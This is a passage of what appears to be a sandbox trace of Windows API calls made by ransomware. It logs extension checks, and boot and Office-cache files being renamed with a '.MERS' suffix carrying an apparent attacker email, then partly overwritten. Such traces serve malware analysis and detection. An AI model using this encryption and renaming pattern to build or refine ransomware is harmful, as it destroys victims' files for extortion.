(lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.858] lstrlenW (lpString=".1cd") returned 4 [0033.858] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.858] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.858] lstrlenW (lpString=".jpg") returned 4 [0033.858] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.858] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.858] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.858] lstrlenW (lpString=".doc") returned 4 [0033.858] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.858] lstrlenW (lpString=".docx") returned 5 [0033.858] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.859] lstrlenW (lpString=".pdf") returned 4 [0033.859] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.859] lstrlenW (lpString=".xls") returned 4 [0033.859] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.859] lstrlenW (lpString=".xlsx") returned 5 [0033.859] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.859] lstrlenW (lpString=".ppt") returned 4 [0033.859] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.859] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.859] lstrlenW (lpString=".zip") returned 4 [0033.859] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.859] lstrlenW (lpString=".rar") returned 4 [0033.859] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.859] lstrlenW (lpString=".bz2") returned 4 [0033.859] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.859] lstrlenW (lpString=".7z") returned 3 [0033.859] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.859] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.859] lstrlenW (lpString=".dbf") returned 4 [0033.859] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.859] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.859] lstrlenW (lpString=".1cd") returned 4 [0033.859] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.859] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.859] lstrlenW (lpString=".jpg") returned 4 [0033.859] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.860] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.860] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.860] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0033.860] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=94800) returned 1 [0033.860] CloseHandle (hObject=0x18c) returned 1 [0033.860] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0033.860] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.860] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.860] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.860] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.860] lstrlenW (lpString=".doc") returned 4 [0033.860] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.860] lstrlenW (lpString=".docx") returned 5 [0033.860] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.860] lstrlenW (lpString=".pdf") returned 4 [0033.860] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.860] lstrlenW (lpString=".xls") returned 4 [0033.860] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.860] lstrlenW (lpString=".xlsx") returned 5 [0033.860] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.860] lstrlenW (lpString=".ppt") returned 4 [0033.860] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.861] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.861] lstrlenW (lpString=".zip") returned 4 [0033.861] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.861] lstrlenW (lpString=".rar") returned 4 [0033.861] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.861] lstrlenW (lpString=".bz2") returned 4 [0033.861] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.861] lstrlenW (lpString=".7z") returned 3 [0033.861] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.862] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0033.974] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0033.975] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0033.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0033.975] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0033.975] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0033.975] ReadFile (in: hFile=0x17c, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.243] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.243] ReadFile (in: hFile=0x17c, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.259] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.260] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.260] ReadFile (in: hFile=0x17c, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.401] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.401] WriteFile (in: hFile=0x17c, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0034.425] SetEndOfFile (hFile=0x17c) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3eb2dd8 [0034.554] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.555] WriteFile (in: hFile=0x17c, lpBuffer=0x3eb2dd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb2dd8*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.630] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.630] WriteFile (in: hFile=0x17c, lpBuffer=0x3eb2dd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb2dd8*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.638] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.638] WriteFile (in: hFile=0x17c, lpBuffer=0x3eb2dd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb2dd8*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.644] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3eb2dd8 | out: hHeap=0x5f0000) returned 1 [0034.647] CloseHandle (hObject=0x17c) returned 1 [0035.264] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.264] lstrlenW (lpString=".doc") returned 4 [0035.264] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0035.264] lstrlenW (lpString=".docx") returned 5 [0035.264] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0035.264] lstrlenW (lpString=".pdf") returned 4 [0035.264] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0035.264] lstrlenW (lpString=".xls") returned 4 [0035.264] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0035.264] lstrlenW (lpString=".xlsx") returned 5 [0035.264] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0035.264] lstrlenW (lpString=".ppt") returned 4 [0035.264] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0035.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.264] lstrlenW (lpString=".zip") returned 4 [0035.264] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0035.264] lstrlenW (lpString=".rar") returned 4 [0035.264] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0035.264] lstrlenW (lpString=".bz2") returned 4 [0035.264] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0035.264] lstrlenW (lpString=".7z") returned 3 [0035.264] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0035.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.264] lstrlenW (lpString=".dbf") returned 4 [0035.264] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0035.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.265] lstrlenW (lpString=".1cd") returned 4 [0035.265] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0035.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.265] lstrlenW (lpString=".jpg") returned 4 [0035.265] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0035.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.265] lstrlenW (lpString=".doc") returned 4 [0035.265] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0035.265] lstrlenW (lpString=".docx") returned 5 [0035.265] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0035.265] lstrlenW (lpString=".pdf") returned 4 [0035.265] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0035.265] lstrlenW (lpString=".xls") returned 4 [0035.265] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0035.265] lstrlenW (lpString=".xlsx") returned 5 [0035.265] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0035.265] lstrlenW (lpString=".ppt") returned 4 [0035.265] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0035.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.265] lstrlenW (lpString=".zip") returned 4 [0035.265] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0035.265] lstrlenW (lpString=".rar") returned 4 [0035.265] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0035.265] lstrlenW (lpString=".bz2") returned 4 [0035.265] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0035.265] lstrlenW (lpString=".7z") returned 3 [0035.265] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0035.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.265] lstrlenW (lpString=".dbf") returned 4 [0035.265] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0035.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.265] lstrlenW (lpString=".1cd") returned 4 [0035.265] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0035.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0035.266] lstrlenW (lpString=".jpg") returned 4 [0035.266] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0035.266] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0035.266] lstrlenW (lpString="PubLR.cab") returned 9 [0035.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0035.266] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=9958388) returned 1 [0035.266] CloseHandle (hObject=0x17c) returned 1 [0035.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0035.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.266] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0035.267] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0035.267] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0035.267] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.267] ReadFile (in: hFile=0x17c, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.432] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.432] ReadFile (in: hFile=0x17c, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.486] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.486] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.486] ReadFile (in: hFile=0x17c, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.535] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.535] WriteFile (in: hFile=0x17c, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0035.559] SetEndOfFile (hFile=0x17c) returned 1 [0035.559] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3ec2de0 [0035.563] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.563] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec2de0*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.564] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.564] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec2de0*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.788] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.789] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec2de0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec2de0*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.793] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3ec2de0 | out: hHeap=0x5f0000) returned 1 [0035.796] CloseHandle (hObject=0x17c) returned 1 [0037.649] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0037.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.650] lstrlenW (lpString=".doc") returned 4 [0037.650] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.650] lstrlenW (lpString=".docx") returned 5 [0037.650] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.650] lstrlenW (lpString=".pdf") returned 4 [0037.650] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.650] lstrlenW (lpString=".xls") returned 4 [0037.650] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.650] lstrlenW (lpString=".xlsx") returned 5 [0037.650] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.650] lstrlenW (lpString=".ppt") returned 4 [0037.650] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.650] lstrlenW (lpString=".zip") returned 4 [0037.650] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.650] lstrlenW (lpString=".rar") returned 4 [0037.650] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.650] lstrlenW (lpString=".bz2") returned 4 [0037.650] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.650] lstrlenW (lpString=".7z") returned 3 [0037.650] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.650] lstrlenW (lpString=".dbf") returned 4 [0037.650] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.650] lstrlenW (lpString=".1cd") returned 4 [0037.650] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.650] lstrlenW (lpString=".jpg") returned 4 [0037.650] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.651] lstrlenW (lpString=".doc") returned 4 [0037.651] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.651] lstrlenW (lpString=".docx") returned 5 [0037.651] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.651] lstrlenW (lpString=".pdf") returned 4 [0037.651] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.651] lstrlenW (lpString=".xls") returned 4 [0037.651] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.651] lstrlenW (lpString=".xlsx") returned 5 [0037.651] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.651] lstrlenW (lpString=".ppt") returned 4 [0037.651] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.651] lstrlenW (lpString=".zip") returned 4 [0037.651] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.651] lstrlenW (lpString=".rar") returned 4 [0037.651] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.651] lstrlenW (lpString=".bz2") returned 4 [0037.651] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.651] lstrlenW (lpString=".7z") returned 3 [0037.651] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.651] lstrlenW (lpString=".dbf") returned 4 [0037.651] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.651] lstrlenW (lpString=".1cd") returned 4 [0037.651] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0037.651] lstrlenW (lpString=".jpg") returned 4 [0037.651] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.652] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0037.652] lstrlenW (lpString="WordMUI.msi") returned 11 [0037.652] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all 